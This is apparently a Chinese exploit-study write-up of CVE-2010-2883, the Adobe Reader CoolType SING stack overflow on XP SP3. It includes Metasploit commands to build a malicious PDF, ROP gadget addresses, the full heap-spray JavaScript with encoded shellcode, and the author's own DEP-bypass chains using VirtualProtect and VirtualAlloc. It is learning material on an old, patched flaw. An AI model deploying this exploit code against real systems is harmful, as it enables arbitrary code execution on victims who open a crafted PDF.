文章目录
本文包括 简单的漏洞分析和比较 详细的exp动态调试,以及 自己动手写exp绕过DEP的实践
1.漏洞环境
环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 Professional | 简体中文 |
漏洞软件 | 漏洞软件 | 版本号:9.3.4 |
漏洞模块 | CoolType.dll | 默认安装路径C:\Program Files\Adobe\Reader 9.0\Reader\CoolType.dll |
pdf分析软件 | pdf分析软件 |
漏洞成因:Adobe Reader 和 Acrobat中的 Cooltype.dll 库在解析字体文件 SING 表中的 UniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的 PDF 文件就有可能导致执行任意代码
2.定位漏洞
根据描述,ida静态分析时,Alt+t搜索“SING”,会有多条记录,其中0x0803dd74为存在漏洞的引用附近
简单的说就是strcat没有校验长度,导致的栈溢出
3.动态调试
可以使用msf生成对应的pdf文件方便进行动态调试
msf5 > search cve-2010-2883
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/adobe_cooltype_sing 2010-09-07 great No Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
1 exploit/windows/fileformat/adobe_cooltype_sing 2010-09-07 great No Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
msf5 > use exploit/windows/fileformat/adobe_cooltype_sing
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /home/kali/.msf4/local/msf.pdf
动态调试在strcat下断点,复制完成后对复制进去的内容设置内存访问断点,经过很多次的F9之后到达访call [eax],其中eax为栈上的地址可以通过栈溢出进行控制。
第一个ROP为0x4A80CB38用于调整esp
add ebp,0x794
leave
retn
第二个ROP为0x4A82A714实现栈迁移到0x0c0c0c0c中
pop esp
retn
接下来的ROP由打开PDF时自动执行的js堆喷到0x0c0c0c0c中,依次调用了CreateFileA、CreateFileMappingA、MapViewOfFile、memcpy
利用PDFStreamDump提取并简化之后的js如下
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud7da%u82ba%ube98%ud9de%u2474%u5ef4%uc931%u31b1%uee83%u31fc%u1456%u5603%u7a96%u224b%uf87e%udbb4%u9d7e%u3e3d%u9d4f%u4a5a%u2dff%u1e28%uc6f3%u8b7c%uab80%ubca8%u0121%uf38f%u3ab2%u92f3%u4130%u7520%u8a09%u7435%uf74e%u24b4%u7307%ud96a%uc92c%u52b7%udf7e%u87bf%ude36%u19ee%ub94d%u9b30%ub182%u8378%ufcc7%u3833%u8a33%ue8c5%u730a%ud569%u86a3%u1173%u7903%u6b06%u0470%ua811%ud20b%u2b94%u91ab%u900f%u754a%u53c9%u3240%u3c9d%uc544%u3772%u4e70%u9875%u14f1%u3c52%uce5a%u65fb%ua106%u7504%u1ee9%ufda1%u4a07%u5fd8%u8d4d%uda6e%u8d23%ue570%ue613%u6e41%u71fc%ua55e%u8eb9%ue414%u06eb%u7cf1%u4aae%uab02%u72ec%u5e81%u808c%u2a99%ucd89%uc61d%u5ee3%ue8c8%u5e50%u8ad9%ucc37%u6281%u74d2%u7b23' );
var nop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (nop.length + 20 + 8 < 65536)
nop+=nop;
d = nop.substring(0, (0x0c0c-0x24)/2);
d += shellcode;
d += nop;
e = d.substring(0, 65536/2);
while(e.length < 0x80000)
e += e;
h = e.substring(0, 0x80000 - (0x1020-0x08) / 2);
var slide = new Array();
for (i=0;i<0x1f0;i++)
slide[i]=h+"s";
调用CreateFileA,创建一个名叫”iso88591”的文件
0C0C0C28 4A8522C8 |FileName = "iso88591"
0C0C0C2C 10000000 |Access = GENERIC_ALL
0C0C0C30 00000000 |ShareMode = 0
0C0C0C34 00000000 |pSecurity = NULL
0C0C0C38 00000002 |Mode = CREATE_ALWAYS
0C0C0C3C 00000102 |Attributes = HIDDEN|TEMPORARY
0C0C0C40 00000000 \hTemplateFile = NULL
调用CreateFileMappingA,创建文件内存映射,调用CreateFileMapping
0C0C0C6C 0000013C |hFile = 0000013C (window)
0C0C0C70 00000000 |pSecurity = NULL
0C0C0C74 00000040 |Protection = PAGE_EXECUTE_READWRITE
0C0C0C78 00000000 |MaximumSizeHigh = 0x0
0C0C0C7C 00010000 |MaximumSizeLow = 0x10000
0C0C0C80 00000000 \MapName = NULL
调用MapViewOfFile
0C0C0CAC 0000021C |hMapObject = 0000021C
0C0C0CB0 00000022 |AccessMode = 0x22
0C0C0CB4 00000000 |OffsetHigh = 0x0
0C0C0CB8 00000000 |OffsetLow = 0x0
0C0C0CBC 00010000 \MapSize = 10000 (65536.)
调用memcpy,将shellcode复制到开辟的空间中,最后跳转到shellcode执行。
4.分析msf生成脚本
kali中脚本在/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb中
主要分为3步:
- make_ttf()生成ttf
- make_js()生成堆喷的js
- make_pdf()和file_create()生成最后的pdf文件
4.1make_ttf
分为两个部分:
- 第一部分为创建SING Table的固定内容。
- 第二部分为设置两个ROP地址。0x4a82a714地址的pop esp/ret执行之后进入0x0c0c0c0c堆喷的rop链中执行代码
4.2 make_js
第一步构建栈中的需要的rop链
组装payload并返回js堆喷代码
5.实现自己的shellcode绕过DEP
实践一下《0day2》中讲的绕过DEP的几种方法
5.1 利用ZwSetInformationProcess和SetProcessDEPPolicy关闭DEP(win xp sp3不能用)
利用方法:
- 利用mov al,1#retn来设置eax。利用!mona find -type bin “\xb0\x01\xc3”找到需要的指令0x7c80c190
- 跳转到0x7c93cd24(win xp sp3中LdrpCheckNXCompatibility的绕过保护)关闭DEP。
- 跳转到shellcode执行
为了图方便(因为不会构造PDF)所以使用了msf中的rb文件为基础,只修改其中的make_js来测试方法
在xp sp3上并不能通过这个方法关闭DEP,继续运行将会报错
5.2 VirtualProtect绕过DEP
virtualProtect可以修改指定内存属性,可以修改shellcode所在内存为执行状态,进而绕过DEP。为了避免VirtualProtectEx修改栈中的shellcode在stack_data和真正的payload中间使用了一些滑块填充。
BOOL VirtualProtectEx(//0x7c801a61
HANDLE hProcess,//-1表示本进程
LPVOID lpAddress,//改变属性的内存起始地址0x0c0c0c0c
DWORD dwSize,//shellcode内存空间大小0x1000
DWORD flNewProtect,//内存的新属性类型0x40
PDWORD lpfOldProtect//内存原始属性类型保存地址,某个可写地址
)
利用方法:
- 调用VirtualProtect或者VirtualProtectEx设置栈可执行(lpAddress为栈地址,lpfOldProtect为可写的地址)。这里是堆喷所以地址都可以设置为0x0c0c0c0c
- 利用jmp esp进入栈中执行shellcode
成功出现计算器
5.3VirtualAlloc绕过DEP
virtualProtect函数可以申请一段可执行内存,再将shellcode复制到内存空间中执行,即可绕过dep的限制
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,//申请的地址
[in] SIZE_T dwSize,//申请空间大小
[in] DWORD flAllocationType,//申请内存类型 0x1000
[in] DWORD flProtect//内存的访问控制类型,如读写执行等权限0x40
);
利用方法
- 调用VirtualAllocEx(0x7c809b02)开辟一块空间比如0x3000
- memcpy将shellcode复制到开辟的空间
- 跳转0x3000执行shellcode
成功出现计算器
6.总结
- 在堆喷中布置ROP会比在栈溢出中布置要简单很多(因为不用考虑0x00等字符不能出现,所以可以把参数全部布置上去)
- 没有特别详细的讲为什么栈溢出能触发到call [eax]。我猜是覆盖到了什么函数指针。
- 除了《0day2》上面讲到的一些函数还有其他函数可以绕过DEP
参考:
《0day2》
《漏洞战争》
https://bbs.pediy.com/thread-257172.htm
https://www.matteomalvica.com/minutes/exploit_dev/#dep